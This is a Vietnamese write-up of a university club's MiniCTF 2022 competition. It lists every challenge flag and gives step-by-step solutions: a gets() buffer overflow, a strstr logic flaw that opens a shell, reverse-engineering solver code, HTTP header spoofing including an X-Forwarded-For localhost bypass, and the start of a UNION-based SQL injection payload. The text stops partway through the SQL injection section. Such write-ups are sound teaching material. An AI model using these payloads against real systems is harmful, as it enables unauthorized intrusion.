Để chào mừng tân sinh viên D22 đến với Học Viện Công Nghệ Bưu Chính Viễn Thông cũng như các bạn sinh viên khác có niềm đam mê với Cyber Security, ISP CLUB chúng mình tổ chức cuộc thi thường niên MiniCTF và đây là Write Up cho MiniCTF 2022
Title | Category | Flag |
---|---|---|
Discord | Welcome | ISPCTF{W3LC0ME_2_M1ni_CTF_90oDLuCK} |
Basic Forensic | Warm Up | ISPCTF{7hAt_warm_up_gnys} |
What is Netcat? | Warm Up | ISPCTF{Th1s_1s_n3t_c4t} |
Abcbof | Warm Up | ISPCTF{B4s1c_Buff3r_0v3rFl0w} |
Rock, Paper, Scissors | Warm Up | ISPCTF{d0nt_m4k3_7h3_l091c4l_m1s74k3} |
Best Avatar | Misc | ISPCTF{ISP_cAptu5e_th3_F1a9} |
Base64 | Misc | ISPCTF{H4v3_4_G00D_D4y} |
New misc | Misc | ISPCTF{BILLCIPHER} |
Baby Kinzx | RE | ISPCTF{_bit_bitch_beach} |
EZ RE | RE | ISPCTF{d35cr4mbl3_tH3_cH4r4cT3r5_ff63b0} |
Loop Key | RE | ISPCTF{T01_co_kh1en_ban_vu1_12112003} |
XOR | RE | ISPCTF{N0r_1s_s0_M4g1c} |
Correct File? | Forensics | ISPCTF{i_am_following_you} |
Japanese Food | Forensics | ISPCTF{Pe0ple_mAke_1t_complicat3d} |
Love n Light | Forensics | ISPCTF{Fr0m_kA1z_w1tH_L0v3} |
Where is Nemo? | Forensics | ISPCTF{y0u_5ave_Nem0_f15h} |
Are you Wibu? | Forensics | ISPCTF{w1bu_n3v3r_d13_1337} |
OnlyFan | Forensics | ISPCTF{r0und_n_r0und_1908absc} |
PHP Moon Cake | Web | ISPCTF{m00n_c4k3_15_t00_sw33t} |
Get Out Of Here | Web | ISPCTF{jU5t_lnsp3ct_01012021dad} |
Find Flag | Web | ISPCTF{HAv3_Fnu_Vvlt5_W3b} |
Keiichi | Web | ISPCTF{H3_1S_C0m3B4ck_Y0u_Can_find_him} |
ISP Info | Web | ISPCTF{N0w_Y0u_Kn3w_4b0ut_ISP_Y0ur_W3lC0m3} |
Sqli Blind | Web | ISPCTF{Bl1nd_brut3f0rc3_01fg6} |
Do you know what is Basecrack | Crypto | ISPCTF{1_you_kn0w_Base_Crack} |
Caesar Knight | Crypto | ISPCTF{h3ll0_ISP_1337} |
UwU | Crypto | ISPCTF{UU_3ncode_not_UwU} |
Love Song | Crypto | ISPCTF{HOW_CAN_YOU_FIX_IT_?} |
You are noob! | Crypto | ISPCTF{c4T_M3_1f_u_C4n?} |
ROTTOR | Crypto | ISPCTF{0h_mY_90D_y0u_931_i1} |
Bạn đã sẵn sàng cho cuộc hành trình trước mắt chưaaaaaaa???
Tham gia kênh Discord của cuộc thi để giao lưu, trao đổi cùng các bạn thi khác và liên hệ với BTC khi có trục trặc xảy ra nhé!! Keep calm and Capture The Flag :>
Flag bên trong: https://discord.gg/ZSZqyYabbG
Flag có thể lấy trong link
Flag: ISPCTF{W3LC0ME_2_M1ni_CTF_90oDLuCK}
Tập hợp để đi đánh boss thôi nàoo!
Tải file svg về và mở lên, không thấy gì bất thường cả. Ta thử inspect lên thấy các đoạn < tspan > có liên kết với nhau. Ghép chúng lại ta ra được flag
Hoặc chúng ta có thể mở file dưới dạng text ( mở bằng notepad ) cũng có thể xem được giá trị được ghi trong file .svg đó.
Flag: ISPCTF{7hAt_warm_up_gnys}
Can you connect the netcat ?
nc 174.138.21.217 3136
Chúng ta sẽ kết nối vào netcat
ngay lập tức flag sẽ hiện ra.
halston in ~ λ nc 174.138.21.217 3136
NETCAT
/\_____/\
/ o o \
( == ^ == )
)) (
( )
( ( ) ( ) )
(__(__)___(__)__)
Here your flag: ISPCTF{Th1s_1s_n3t_c4t}
Flag: ISPCTF{Th1s_1s_n3t_c4t}
nc 174.138.21.217 3137
Khi tải source code về ta có thể nhìn thấy có lỗi tại gets() vì khi nhập vào sẽ không kiểm soát số lượng kí tự được nhập
int main(){
long long money = 0;
puts("==========================Game Bài Đoán Số Uy Tín Đổi Thưởng==========================");
puts("| 1. Chơi Game | 2. Hướng Dẫn | 3. Đổi Flag | 4. Thoát Game | 5. Tài Khoản |");
puts("======================================================================================");
puts("Hãy nhập tên người chơi:");
char name[30];
gets(name);
Vì vậy khi ta nhập 1 dãy thật dài thì chương trình sẽ ghi đè lên biến money qua lệnh gets()
và làm thay đổi giá trị của biến khi nhìn vào stack.
| . . . .
| +-------------------+
S | money |
t +-------------------+
a | name[30] |
c +-------------------+
k | ... |
| +-------------------+
Vì vậy ta tiến hành nhập vào biến name
để có thể khiến biến money
bị thay đổi giá trị từ đó ta có thể có 1 số tiền lớn và mua flag.
halston in ~ λ nc 174.138.21.217 3137
I
II II
II II
,I II
I, IIIIII II
II IIIIIIIIIIII II
II IIIIIIIIIIIIIIIIII# II
II IIIIIIIIIIIIIIIIIIIIIII II
II IIIIIIIIIII IIIIIIII II II
IIIIII IIIIIII IIIIII IIIII II
IIIII II IIIIIII IIIIII IIIIIIII II.
#I I IIII IIIIIII IIIIII IIIIIIIIIII I
IIIII IIIII IIIIIIIII .IIIIII IIII IIIII I
IIIII IIIIIII IIIIII IIIIIIIII IIIII IIII IIII I
IIIII #IIIIII IIIIII IIIIIIIII I IIII IIII I
I IIIIIII IIIIII I IIIIIIIIIII IIIII# IIII I
I IIIIII IIIIIII II IIIIIIIIII IIIIIIIIIII II
I IIIIIII IIIIIII III# IIIIIII IIIIIIIIIII I
I IIIIIII IIIIIII IIIII IIIIIIII IIIIIIIIIII I
I IIIIIII IIIIIII IIII IIIIIIII IIIIIIIIII II
I IIIIIII IIIIIII II IIIIIIII# IIIIIIIIII I
I IIIIIII IIIIIIII IIIIIIIII *IIIIII II I
I IIIIIII IIIIIIIIIIIIIIIII IIIIII II I
I IIIIIII IIIIIIIIIIIIIII IIIII* II #I
I IIIIII IIIIIIIIIIII IIIII I II
I. IIIIIII IIIIIIIII IIIII II I
I IIIIIII IIIIII IIIIII I I
II IIIIII III IIIII I
II IIIIII IIIIII II
II IIIIII IIIII II
II IIIIIIIIII II
II I
III II
#II III
III
Hãy nhập tên người chơi: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
==========================Game Bài Đoán Số Uy Tín Đổi Thưởng==========================
| 1. Chơi Game | 2. Hướng Dẫn | 3. Đổi Flag | 4. Tài Khoản | 5. Thoát Game |
======================================================================================
Hello �aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, chào mừng bạn đến với Game Bài Uy Tín Top 1 Việt Nam !!!
Nhập lựa chọn của bạn:
4
Tài khoản của bạn có 7016996765293437281 $
Từ đó ta có thể mua flag
Nhập lựa chọn của bạn:
3
Tài khoản của bạn có 7016996765293437281 $
=====================FLAG=======================
|Bạn có muốn mua FLAG với giá 1 000 000 000 $ |
|----------------------------------------------|
| 1. YES | 2. NO |
================================================
Lựa chọn của bạn :
1
Chúc mừng bạn đã chiến thắng
Đây là Flag của bạn:
ISPCTF{B4s1c_Buff3r_0v3rFl0w}
Flag: ISPCTF{B4s1c_Buff3r_0v3rFl0w}
nc 174.138.21.217 3138
Đọc source code ta có thấy chương trình sử dụng if (strstr(player_turn, loses[computer_turn]))
hàm strstr() để kiểm tra chuỗi người dùng nhập vào player_turn
có
trong chuỗi loses[computer_turn]
máy tính thua không.
Nếu có sẽ trả về true
từ đó ta có 1 lần chiến thắng.
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
Tận dụng lỗi này ta sẽ nhập {"rock", "paper", "scissors"}
6 lần để có thể chiến thắng.
if (wins >= 6) {
puts("Congrats!!!");
system("/bin/sh");
}
Chúng ta sẽ connect đến netcat
để thực hiện 6 lần nhập sau đó khi chương trình gọi /bin/sh
ta sẽ lấy được shell
.
halston in ~ λ nc 174.138.21.217 3138
Welcome challenger to the game of Rock, Paper, Scissors
For anyone that beats me 5 times in a row, I will offer up a flag I found
Are you ready?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
(rock/paper/scissors)
You played: (rock/paper/scissors)
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
(rock/paper/scissors)
You played: (rock/paper/scissors)
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
(rock/paper/scissors)
You played: (rock/paper/scissors)
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
(rock/paper/scissors)
You played: (rock/paper/scissors)
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
(rock/paper/scissors)
You played: (rock/paper/scissors)
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
Please make your selection (rock/paper/scissors):
(rock/paper/scissors)
You played: (rock/paper/scissors)
The computer played: scissors
You win! Play again?
Congrats!!!
ls
bin
chall
dev
flag.txt
ld.so
lib
lib32
lib64
libc.so.6
cat flag.xtt
cat: flag.xtt: No such file or directory
cat flag.txt
ISPCTF{d0nt_m4k3_7h3_l091c4l_m1s74k3}
Flag: ISPCTF{d0nt_m4k3_7h3_l091c4l_m1s74k3}
Việc đầu tiên là cần tìm đồng minh, hãy nhanh chóng vào cộng đồng ISP để tìm nàoo!!
Vào page CLB ISP- CLB An Toàn Thông Tin PTIT, mở Avatar của CLB lên để thấy flag ở phần comment
Flag: ISPCTF{ISP_cAptu5e_th3_F1a9}
QQRR
Bài cho chúng ta 1 mã QR
Quét mã QR ra được đoạn mã base64
Giải mã nó ta được flag
Flag: ISPCTF{H4v3_4_G00D_D4y}
Trên hành trình giải cứu thế giới Bốp đã gặp Dipper & Mable và biết được rằng Xipan đang câu kết với Bill Tam Giác để phát tán code bẩn. Hãy giúp Dipper & Mable ngăn chặn điều đó lại!
Giải nén file ta được 1 ảnh và 1 file zip cần mật mã để mở.
Từ bức ảnh có thể đoán được pass trong bức ảnh này. Tra google người trong ảnh biết được đây là thủ tướng Phạm Văn Đồng, thử pass Pham Van Dong, giải nén được file ra 2 file khác
Nhìn vào bức ảnh chứa mật mã, đoán được đây có thể là mật mã Bill Cypher
Giải mật mã được flag
Flag: ISPCTF{BILLCIPHER}
#include<stdio.h>
#include<string.h>
#include<Windows.h>
int main(){
puts("Pls, Enter your License : ");
char license[]="010010010101001101010000010000110101010001000110011110110101111101100010011010010111010001011111011000100110100101110100011000110110100001011111011000100110010101100001011000110110100001111101";
char my_license[100];
fgets(my_license,100,stdin);
if(strlen(my_license)==25){
puts("[+] Checking....");
Sleep(3000);
int l = (int)strlen(license);
unsigned char flag[24] = {};
for(int i=0;i<l;i+=8){
for(int j=i;j<(i+8);j++){
int pos = (int)(i/8);
flag[pos] <<= 1;
flag[pos] += license[j] - 0x30;
}
}
flag[24]=0;
if(memcmp(flag,my_license,24)==0){
puts("Cracked!");
}else{
puts("Are you hacker ?");
}
}else{
puts("Invalid License!");
}
}
- Theo ta thấy để nhận được
flag=ISPCTF{}
thì my_license và flag phải bằng nhau và có độ dài 24 kí tự, thuật toán bài này là biến dãy chuỗi nhị phân sang dãy số nhị phân.
for(int i=0;i<l;i+=8)
{
for(int j=i;j<(i+8);j++)
{
int pos = (int)(i/8);
flag[pos] <<= 1;
flag[pos] += license[j] - 0x30;
}
}
- Bản chất ở đây nõ sẽ lấy 8 bit lại thành một mảng flag[ i ]. Vậy sau khi hiểu rõ về thuật toán chúng ta có thể coppy đoạn chuỗi lên tool kt.gy để ra
Flag: ISPCTF{_bit_bitch_beach}
#include <stdio.h>
#include <string.h>
int main()
{
printf("-------------------CUOC_BAT_BAT_DAU-----------------------------\n");
printf("Input Flags: ");
char flag[33] = {};
puts(flag);
fgets(flag, sizeof(flag), stdin);
if (strlen(flag) == 32 &&
flag[0] == 'd' &&
flag[29] == '3' &&
flag[4] == 'r' &&
flag[2] == '5' &&
flag[23] == 'r' &&
flag[3] == 'c' &&
flag[17] == '4' &&
flag[1] == '3' &&
flag[7] == 'b' &&
flag[10] == '_' &&
flag[5] == '4' &&
flag[9] == '3' &&
flag[11] == 't' &&
flag[15] == 'c' &&
flag[8] == 'l' &&
flag[12] == 'H' &&
flag[20] == 'c' &&
flag[14] == '_' &&
flag[6] == 'm' &&
flag[24] == '5' &&
flag[18] == 'r' &&
flag[13] == '3' &&
flag[19] == '4' &&
flag[21] == 'T' &&
flag[16] == 'H' &&
flag[27] == 'f' &&
flag[30] == 'b' &&
flag[25] == '_' &&
flag[22] == '3' &&
flag[28] == '6' &&
flag[26] == 'f' &&
flag[31] == '0')
{
printf("ISPCTF{");
printf("%s", flag);
printf("}");
}
else
printf("Incorrect!!!!");
}
- Ta thấy đề cho là một mảng flag có độ dài len(flag) = 32 chưa được sắp xếp vậy ý tưởng bài này là mình hãy chạy sắp xếp và chạy code ra flag như sau :
#include <iostream>
using namespace std;
int main() {
char flag[200];
string s="ISPCTF{";
flag[0] = 'd';
flag[29] = '3' ;
flag[4] = 'r' ;
flag[2] = '5' ;
flag[23] = 'r' ;
flag[3] = 'c' ;
flag[17] = '4';
flag[1] = '3' ;
flag[7] = 'b' ;
flag[10] = '_' ;
flag[5] = '4' ;
flag[9] = '3' ;
flag[11] = 't' ;
flag[15] = 'c' ;
flag[8] = 'l' ;
flag[12] = 'H' ;
flag[20] = 'c' ;
flag[14] = '_' ;
flag[6] = 'm' ;
flag[24] = '5' ;
flag[18] = 'r' ;
flag[13] = '3' ;
flag[19] = '4' ;
flag[21] = 'T' ;
flag[16] = 'H' ;
flag[27] = 'f' ;
flag[30] = 'b' ;
flag[25] = '_' ;
flag[22] = '3' ;
flag[28] = '6' ;
flag[26] = 'f' ;
flag[31] = '0';
for (int i=0;i<=31;i++)
s+=flag[i];
s+="}";
cout<<s;
return 0;
}
//Flag=ISPCTF{d35cr4mbl3_tH3_cH4r4cT3r5_ff63b0}
Flag: ISPCTF{d35cr4mbl3_tH3_cH4r4cT3r5_ff63b0}
#include <iostream>
using namespace std;
int check_flag(int data[])
{
int a[] = {
73,167,324,545,1360,2265,7908,133,160,277,860,1705,3696,
6249,303,433,452,1097,2084,3401,6672,538,704,909,1520,2497,
2244,6809,833,941,1096,1353,1824,2625,4228,1276,1546};
for (int i = 0; i < 37; i++)
{
if (data[i] != a[i])
return 0;
}
return 1;
}
int s_203_key(string data)
{
int src[100];
for (int i = 0; i < data.length(); i++)
{
src[i] = (((int)data[i] << ((char)i % 7)) + i * i);
}
check_flag(src);
}
int main()
{
string flag;
cout << "_______________BAT_DAU_______________" << endl;
cout << "Inputflag : ";
cin >> flag;
if (s_203_key(flag) == 1)
cout << "correct!!!";
else
cout << "incorrect!!!";
}
-
Theo như ta thấy để được in ra correct!!! thì sau khi encrypt input flag phải bằng với các phần tử mảng a trong hàm
check_flag()
. Vậy trước hết mình phải hiểu về thuật toán của hàms_203_key()
. -
Ta thấy thuật toán ở đây tác giả dùng phép dịch bit sang trái sau đó cộng thêm phần tử i * i để encrypt input mình nhập vào rồi so sánh với data
mảng a
. Nếu bằng vớimảng a
thì điều đó có nghĩa input mình nhập vào là flag. Từ đó, chúng ta hãy dùng datamảng a
để decrypt bằng phép trừ i * i và say đó dịch bit sang phải .
#include <iostream>
using namespace std;
int main(){
int a[] = {
73,167,324,545,1360,2265,7908,133,160,277,860,1705,3696,
6249,303,433,452,1097,2084,3401,6672,538,704,909,1520,2497,
2244,6809,833,941,1096,1353,1824,2625,4228,1276,1546};
int flag[36];
int result[36];
for (int i = 0; i< 37; i++){
flag[i] = a[i] - i*i;
}
for (int i =0; i < 37; i++){
result[i] = flag[i] >> ((char)i %7);
printf("%c", result[i]);
}
}
//flag=ISPCTF{T01_co_kh1en_ban_vu1_12112003}
Flag: ISPCTF{T01_co_kh1en_ban_vu1_12112003}
#include <stdio.h>
#include <string.h>
char LAW(char a, char b) {
return !(a | b);
}
char LOST(char a) {
return LAW(a, a); // luôn in ra 1
}
char END(char a, char b) {
return LOST(LAW(a, b));
}
char OO(char a, char b) {
return LOST(END(LOST(a), LOST(b)));
}
char ISPCLUB(char a, char b) {
return END(OO(a, LOST(b)), OO(LOST(a), b));
}
int main() {
unsigned char input[15];
unsigned char cipher[15] = { 0xe7,0x99,0xdb,0xf6,0x98,0xda,0xf6,0xda,0x99,0xf6,0xe4,0x9d,0xce,0x98,0xca };
unsigned char your_cipher[15];
char key[] = { 1,0,0,1,0,1,0,1 };
printf("Enter Flag : ");
fgets((char*)input, sizeof(input) + 1, stdin);
for (char i = 0; i < sizeof(input); i++) {
char tmp[8] = { 0,0,0,0,0,0,0,0 };
unsigned char result = 0;
for (char b = 0; b < 8; b++) {
char bit_1 = (input[i] >> b) & 1;
char bit_2 = key[b];
char rs = ISPCLUB(bit_1, bit_2);
tmp[b] = rs;
}
for (char k = 7; k >= 0; k--) {
result = (result << 1) + tmp[k];
}
your_cipher[i] = result;
}
for (char i = 0; i < 15; i++) {
if (your_cipher[i] != cipher[i]) {
printf("Incorrect!");
return 1;
}
}
printf("GOOD! HERE IS YOUR FLAG ISPCTF{%s}", input);
}
- Sau khi đọc đề ta thấy để ra được flag thì sau khi encrypt
input
đcyour_cipher
phải bằng vớicipher
.
for (char i = 0; i < sizeof(input); i++) {
char tmp[8] = { 0,0,0,0,0,0,0,0 };
unsigned char result = 0;
for (char b = 0; b < 8; b++) {
char bit_1 = (input[i] >> b) & 1;
char bit_2 = key[b];
char rs = ISPCLUB(bit_1, bit_2);
tmp[b] = rs;
}
for (char k = 7; k >= 0; k--) {
result = (result << 1) + tmp[k];
}
your_cipher[i] = result;
}
- Thuật toán ở đây nó sẽ lấy từng kí tự mình nhập vào để encrypt
từng kí tự với vòng for đầu tiên nó sẽ liên quan 8 bit của 1 kí tự :
char bit_1 = (input[i] >> b) & 1;
ở bit_1 cho ta biết chức năng của nó dịch bit sang phải và&1
để lấy từng bit từ phải sang trái.bit_2
để lấy từngvalue array key
.- Bản chất của hàm
ISPCLUB()
là lấy bit_1 XOR bit_2. Vậy tại sao tôi lại biết điều đó chúng ta hãy dùng tool rút gọn biểu thức logic : WolframAlpha
char ISPCLUB(char a, char b) { return END(OO(a, LOST(b)), OO(LOST(a), b));
- Kết quả của hàm này sẽ return Bit_1
XOR
Bit_2
for (char k = 7; k >= 0; k--) { result = (result << 1) + tmp[k]; }
- Đến với hàm này có tác dụng ghép 8 bit lại sau khi tách ra để encrypt.
#include <iostream>
using namespace std;
int main()
{
int cipher[33] = {0xe7, 0x99, 0xdb, 0xf6, 0x98, 0xda, 0xf6, 0xda, 0x99, 0xf6, 0xe4, 0x9d, 0xce, 0x98, 0xca};
for (int i = 0; i < 15; i++)
{
cout << char(cipher[i] ^ 0xa9); //0xa9 là dạng hex của dãy key[]={1,0,0,1,0,1,0,1} mình sẽ đảo ngược chuỗi key ta sẽ đc dạng hex 0xa9
}
}
//flag=ISPCTF{N0r_1s_s0_M4g1c}
Flag: ISPCTF{N0r_1s_s0_M4g1c}
Có tiếng nhạc văng vẳng đâu đây, liệu có phải là tín hiệu?
Giải nén file trên được 1 file mp3. Nghe ra là 1 đoạn nhạc. Vì đầu bài là correct file nên ta thử chuyển sang mp4. Mở lên thấy luôn flag đang chạy
Flag: ISPCTF{i_am_following_you}
Xipan là một kẻ nghiện đồ ăn Nhật đặc biệt là món sashimi nên đã trang trí mọi thứ trong phòng thành hình món sashimi. Thậm chí, hắn còn ép ca sĩ Tree Poo sáng tác riêng cho hắn một MV liên quan đến món ăn này để xem lúc rảnh rỗi. Biết được điều đó, Bốp quyết định cài cắm mã độc vào MV, khi Xipan mở lên sẽ làm cho máy tính của hắn sẽ tự hủy. Hãy giúp bốp tìm vị trí đặt mã độc để tránh tên Xipan tìm thấy nhé !
Bài này yêu cầu ta tìm flag trong video.
Khi đó trên màn hình sẽ xuất hiện những mảnh flag như:
Nhưng đó là fake flag, xem đến cuối sẽ xuất hiện một mã QR, scan nó và nhận được flag
Flag: ISPCTF{Pe0ple_mAke_1t_complicat3d}
Ánh sáng và bóng tối,Bốp đã có thể đối đầu trực diện với Xipan
- Đề cho ta một bức ảnh xanh không có gì hết
- Đọc lại đề bài ta thấy đề cập đến 'light' và ánh sáng => ý tưởng của tác giả có thể là chỉnh độ sáng của ảnh
- Ta mở chỉnh sửa ảnh lên là tăng độ sáng thấy được flag
Flag: ISPCTF{From_kA1z_w1tH_LOv3}
Nemuuu là chú pet robot được Bốp rất yêu quý. Không may chú đã bị dính code bẩn và chạy lung tung không nhớ được về. Hãy giúp Bốp mang Nemu về nhé, đừng bỏ cuộc!!! Rescue Nemooo :<
Tải ảnh về, mở lên không có gì ẩn trong ảnh cả, có thể file ẩn bên trong là dạng file khác, thử đổi tên ảnh từ đuôi .jpg thành đuôi .zip
Giải nén file trên lại được 1 cái ảnh khác
Cứ đổi tên rồi lại giải nén cho đến khi gặp được file nemo.txt
Mở thử lên, ở đoạn đầu thấy được dạng đúng của file là dạng jfif tương ứng với đuôi file là .jpg hoặc .jpeg.
Mở lên và lấy được flag
Flag: ISPCTF{y0u_5ave_Nem0_f15h}
Tại sao lại có bức ảnh này ở đây thế nhỉ ? Có điều gì sai chăng
Tải file về không mở được, thử đổi đuôi tên thành .jpg , mở lên được file như thế này
Nhìn qua ảnh, biết được ảnh bị chồng/ dồn pixel theo chiều ngang, nên phải sửa độ phân giải của ảnh.
Trước hết, cho ảnh vào hxd hoặc hexed.it để biết được đúng dạng file của ảnh (png, jpg hay jpeg,....) và biết được dạng đúng của nó là jpg hay chính là jpeg
Xem propertises/ detail của ảnh, biết được chiều rộng của ảnh hiện tại đang là 642px
Đổi 642 sang Hex thấy được giá trị của nó là 02 82. Mở ảnh bằng Hxd hoặc Hexed.it để tìm vị trí byte chứa size ảnh (thường thì vị trí sẽ ở ngay những byte đầu tiên)
Và ở ngay byte FF C0, có được giá trị độ rộng của ảnh ở gần đó
Tăng độ rộng liên tục (do ảnh bị chồng pixel) hoặc sử dụng công thức trong wiki thì biết được giá trị đúng của nó là 07 82 tương ứng 1922px, mở ảnh là thấy flag
Flag: ISPCTF{w1bu_n3v3r_d13_1337}
Đây rồi, con đường dẫn đến nơi trú ngụ của Xipan, đi theo con đường này chúng ta sẽ tìm được hắn.
Mở ảnh lên ta thấy ảnh bị xoáy nặng.
Dùng photoshop để xoáy lại ảnh (ở đây mình dùng photopea) và lấy được flag
Flag: ISPCTF{r0und_n_r0und_1908absc}
Yummy bánh trung thu ngon thật đấy. Có gì ngon nghẻ đằng sau lớp áo đẹp đẽ đó vậy?
Bài cho ta một trang web đăng nhập hoặc đăng ký đăng ký và đăng nhập bình thường nhưng chẳng có gì cả.
Thông thường các trang web sẽ được viết bởi các file .html (file cấu trúc của web ), .css( file biểu diễn đồ họa cho web), .js (các tính năng khác cho web), và chúng ta có thể đọc được các file public qua inspect (kiểm tra) web, đọc các file public ở phần Source trên thanh công cụ của inspect. Đọc source ở phần element (cũng như file index.html trong Source) ta thấy flag:
ISPCTF{134rn1n9_web_15_3z}
Nhưng dây là flag sai, tiếp tục đọc source của file style_in.css ta thấy flag:
Flag: ISPCTF{m00n_c4k3_15_t00_sw33t}
Thật may mắn có những chú robot chưa bị dính code bẩn và chúng đang chỉ đường cho ta. Đi theo thử xem sao!
Link web: http://174.138.21.217:8021/
Mở web lên ta thấy không có gì cả. Có cái link quay lại nhưng mà nó lại là lừa để mình bị Rick Roll.
Kéo xuống cuối ta thấy dòng chữ F12. Có nghĩa là kiểm tra source của web. Ở đây sẽ có những thành phần của 1 trang web để trang web hoạt động một cách bình thường. Những file trong source của web là những file public, thường là các file html (file mang cấu trúc của web), file css (file đồ hoạ cho web), file js (bổ trợ những tính năng cho web).
Ấn F12 (inspect) ta thấy luôn flag ở phần Element. Do flag có thể được giấu trong từng file bằng cách để flag ở comment của dạng file đó, để flag không trực tiếp hiện thẳng trên trang web mà mình có thể nhìn thấy.
Flag: ISPCTF{jU5t_lnsp3ct_01012021dad}
Xipan có sở trường thích ẩn ẩn hiện hiện, code của hắn thật khó tìm. Nó có thể nằm ở đâu được nhỉ?
Link web: http://174.138.21.217:8022
Mở web lên, thấy 1 trang log in, nhập các thứ không vào được. Thử inspect có flag nhưng lại là flag fake.
Mình biết được rằng các web đều sẽ có 1 phần của người viết trang web được ẩn đi, không cho mình biết. Khi tìm hiểu về những loại file ẩn đó, mình tìm ra được có thể gọi ngay các file đó trên URL của web, chính là /(tên file). Các file giấu đi thường có format nhất định: /flag.txt; /robots.txt; /.DS_store; /.htaccess . Thử nhập /flag.txt thêm vào đường link của web. Thấy được flag
Flag: ISPCTF{HAv3_Fnu_Vvlt5_W3b}
Kho báu bị ẩn giấu trong mê cung, chắc chắn phải có cách tìm ra nó.
Mới đầu vào ta chỉ thấy một bức ảnh làm background, thử inspect xem sources thì ối dồi ôi luôn, một đống code html, có vẻ như flag được giấu ở đây.
Ctrl F ISPCTF
ta tìm được phần đầu của Flag: ISPCTF{H3_1S_C
Nếu như phần Flag còn lại cũng nằm trong source này thì chắc chắn là không tìm ra được, cả source đều là html, hoàn toàn không thể khai thác được gì.
Lúc này ta cần nghĩ tới file ẩn. Truớc khi nghĩ tới các cách để tìm file ẩn như Bruteforce. Ta cần kiểm tra file Robots.txt
:))
Tệp robots.txt
cho trình thu thập dữ liệu của công cụ tìm kiếm biết có thể truy cập vào những URL nào trên trang web của bạn. Tệp này chủ yếu dùng để ngăn trình thu thập dữ liệu gửi quá nhiều yêu cầu cho trang web; đây không phải là cơ chế để ẩn một trang web khỏi Google
. Để ẩn một trang web khỏi Google, hãy chặn lập chỉ mục bằng noindex hoặc bảo vệ trang đó bằng mật khẩu.
Boom
Disallow: 0m3B4ck_Y
, file này đã bị web ẩn đi, và nhìn nó cũng giống với 1 phần của Flag phết nhỉ :))
Flag lúc này có thêm 1 phần mới: ISPCTF{H3_1S_C0m3B4ck_Y
Truy cập vào file 0m3B4ck_Y
bị ẩn này ta thấy trang có nội dung sau:
Encode: MHVfQ2FuX2ZpbmRfaGltfQ==
Nhìn đoạn mã kia có vẻ bị như message ban đầu bị encode Base64
, dễ dàng decode với kt.gy
Ta thu được kết quả:
Ghép các phần tìm được, ta có Flag hoàn chỉnh:
Flag: ISPCTF{H3_1S_C0m3B4ck_Y0u_Can_find_him}
Ôi, chúng ta gặp rắc rối không nhỏ rồi, hàng rào bảo mật đang ngăn cản ta.
Khi Inspect trang, một message bị ẩn xuất hiện
Có vẻ message này chỉ chấp nhận User-agent
là isper
, bật burpsuite và thay đổi user-agent
thành isper
Một message nữa đã xuất hiện, server đang muốn kiểm tra xem nguồn đưa bạn đến trang web này có được cho phép hay không
Thêm 1 trường nữa cho header: referer: https://www.facebook.com/ATTT.PTIT
Sau khi send, ta lại nhận được một message nữa: 'Địa chỉ localhost của bạn?'
chắc chắn là 127.0.0.1
Server sẽ forward nếu cung cấp đúng IP, thêm 1 trường nữa vào header: X-ForWarded-For: 127.0.0.1
Nhấn send ta được :
Lần này server yêu cầu ngày tháng, và ngày tháng đó chính là ngày thành lập khoa ATTT.
- Osint theo link gợi ý ta tìm được bài viết có ngày, tháng, năm: Link bài viết
Thêm trường date
có dạng sau: date: Tue, 05 Apr 2022 11:11 GMT
Sau đó send:
Lần này lại là 'bạn có biết tiếng Việt không?'
Ta chỉ cần sửa lại phần Accept-Language
thành vi-VN,vi
Nhưng mà send xong không ra cái gì :( , author thật nhiễu sự, phải là vi-vi,vi
thì mới được cơ (chỉ muốn xin 100 điểm hint của các bạn thui ^^).
Và cuối cùng Accept-Language: vi-vi,vi
Sau khi send thì ta có được flag:
Flag: ISPCTF{N0w_Y0u_Kn3w_4b0ut_ISP_Y0ur_W3lC0m3}
Mới đầu vào, đạp vào mắt là trang đăng kí, đăng nhập. Chưa cần phải nghĩ tới hack, hãy sử dụng web như một client chân chính.
Đầu tiên là tạo tài khoản. Tạo 1 username: asd
, password: asd
. Sau đó đăng nhập, ta có 1 alert
hiện ra:
login success
và không có flag, rồi sao? :(
Để ý ở phần Footer
, cho robots.txt
Truy cập vào ta được gợi ý- Có 1 file ẩn :
brut3f0rc3
- Có thứ gì đó trong :
'information schema, columns , tables'
Vậy là sẽ tìm đượccolumn_name
trongcolumns
,table_name
trongtables
. Ok vào filebrut3f0rc3
trước đã
Trong khi trải nghiệm web, bạn sẽ phát hiện ra, các button order sản phẩm đã tạo ra 1 truy vấn có thể nhìn thấy trên Url. Các truy vấn này có thể được truy vấn tới tới databases, hoặc là không :(
Ta thấy các sản phẩm được xuất ra sau khi truy vấn, như vậy nếu như ở đây có lỗ hổng, các thông tin chúng ta cần biết như 'column_name'
'table_name'
cũng sẽ được hiện ra đây ở đây, nếu như select đúng :>
Vậy bây giờ bắt đầu như nào? :(
- Bật BurpSuite lên đã rồi làm gì thì làm :(
- Ném request vào Repeater, ta thấy số cột trả về là
4
- Biết được số cột trả về là 4, nếu như ta có thể ta có thể tiêm được
union
vào truy vấn này, ta có thể tìm kiếm thông tin nhưcolum_name,table_name
trong databaseinformation_schema
như đã được gợi ý.
Vậy kiểm tra xem union
có thực sự hoạt động hay không
Ta thử với payload sau: category=women'union+select+null,null,null,null%23
Sản phẩm trả về gồm 4 sản phẩm củawomen
và 1 sản phẩmNULL
được select. Như vậy có thể khai thác bằng cách tiêmunion
vào truy vấn.- Trong BurpSuite cũng có thể thấy, số hàng trả về là 5
- Kiểm tra giá trị trả về, xem cột nào trong 4 cột chấp nhập kiểu chuỗi, từ đó có thể tiêm payload vào. Làm như sau:
